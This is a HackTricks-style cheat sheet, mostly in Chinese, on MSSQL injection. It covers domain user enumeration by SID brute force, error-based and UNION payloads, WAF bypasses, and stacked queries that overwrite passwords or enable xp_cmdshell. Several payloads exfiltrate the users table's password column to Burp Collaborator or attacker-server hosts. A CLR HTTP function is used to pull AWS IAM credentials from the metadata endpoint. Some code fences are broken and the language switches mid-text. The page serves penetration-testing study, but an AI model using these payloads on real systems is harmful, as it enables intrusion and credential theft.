MSSQL Injection

支持 HackTricks

Active Directory 枚举

可以通过 SQL 注入在 MSSQL 服务器中枚举域用户,使用以下 MSSQL 函数:

  • SELECT DEFAULT_DOMAIN():获取当前域名。

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')):如果你知道域的名称(在这个例子中是 DOMAIN),这个函数将返回用户 Administrator 的 SID,以十六进制格式显示。它看起来像 0x01050000000[...]0000f401,注意最后 4 个字节500大端格式,这是用户管理员的常见 ID。 这个函数将允许你知道域的 ID(除了最后 4 个字节以外的所有字节)。

  • SUSER_SNAME(0x01050000000[...]0000e803):这个函数将返回所指示 ID 的用户名(如果有的话),在这种情况下0000e803的大端格式 == 1000(通常这是创建的第一个常规用户 ID 的 ID)。然后你可以想象你可以对用户 ID 从 1000 到 2000 进行暴力破解,可能会获取域中所有用户的用户名。例如,使用如下函数:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

替代的基于错误的向量

基于错误的SQL注入通常类似于+AND+1=@@version--这样的构造,以及基于«OR»运算符的变体。包含此类表达式的查询通常会被WAF阻止。作为绕过方法,使用%2b字符连接一个字符串与触发所需数据的数据类型转换错误的特定函数调用的结果。

一些此类函数的示例:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

函数USER_NAME()的示例用法:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

这些 SSRF 技巧 来自这里

fn_xe_file_target_read_file

它需要服务器上的 VIEW SERVER STATE 权限。

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

它需要 CONTROL SERVER 权限。

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

它需要 CONTROL SERVER 权限。

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

xp_dirtree 这样的存储过程,尽管没有被微软正式文档化,但由于其在 MSSQL 中网络操作的实用性,已被其他人在线描述。这些过程通常用于带外数据外泄,如各种 示例帖子 中所展示的。

例如,xp_dirtree 存储过程用于发起网络请求,但仅限于 TCP 端口 445。端口号不可修改,但允许从网络共享读取。使用方法在下面的 SQL 脚本中演示:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

值得注意的是,这种方法可能并不适用于所有系统配置,例如在默认设置下运行的 Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)Windows Server 2016 Datacenter

此外,还有其他存储过程,如 master..xp_fileexistxp_subdirs,可以实现类似的结果。有关 xp_fileexist 的更多详细信息,请参阅这篇 TechNet 文章

xp_cmdshell

显然,您也可以使用 xp_cmdshell执行 触发 SSRF 的操作。有关更多信息,请 阅读页面中的相关部分

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL 用户定义函数 - SQLHttp

创建一个 CLR UDF(公共语言运行时用户定义函数),即用任何 .NET 语言编写并编译成 DLL 的代码,以便在 MSSQL 中加载以执行自定义函数,是一个需要 dbo 访问权限的过程。这意味着通常只有在以 sa 或管理员角色进行数据库连接时才可行。

这个 Github 仓库 中提供了 Visual Studio 项目和安装说明,以便将二进制文件作为 CLR 程序集加载到 MSSQL 中,从而使得可以从 MSSQL 内部执行 HTTP GET 请求。

此功能的核心封装在 http.cs 文件中,该文件使用 WebClient 类来执行 GET 请求并检索内容,如下所示:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

在执行 CREATE ASSEMBLY SQL 命令之前,建议运行以下 SQL 代码片段,将程序集的 SHA512 哈希添加到服务器的受信任程序集列表中(可通过 select * from sys.trusted_assemblies; 查看):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

在成功添加程序集并创建函数后,可以使用以下 SQL 代码执行 HTTP 请求:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

快速利用:在单个查询中检索整个表的内容

Trick from here.

提取表的完整内容的简洁方法涉及使用 FOR JSON 子句。与需要特定模式如“原始”的 FOR XML 子句相比,这种方法更简洁。由于其简洁性,FOR JSON 子句更受欢迎。

以下是如何从当前数据库检索模式、表和列:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
```markdown
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

### Retrieving the Current Query

[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).

For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

```sql
```markdown
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 или %C2%A0:

```markdown
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--


A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--


\N separator between SELECT and a throwaway column:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]

Can be reduced to:

```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# 在末尾添加一个无用的 exec() 并让 WAF 认为这不是一个有效的查询
admina'union select 1,'admin','testtest123'exec('select 1')--
## 这将是:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# 使用奇怪构建的查询
admin'exec('update[users]set[password]=''a''')--
## 这将是:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# 或者启用 xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## 这将是
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

References

Support HackTricks

Last updated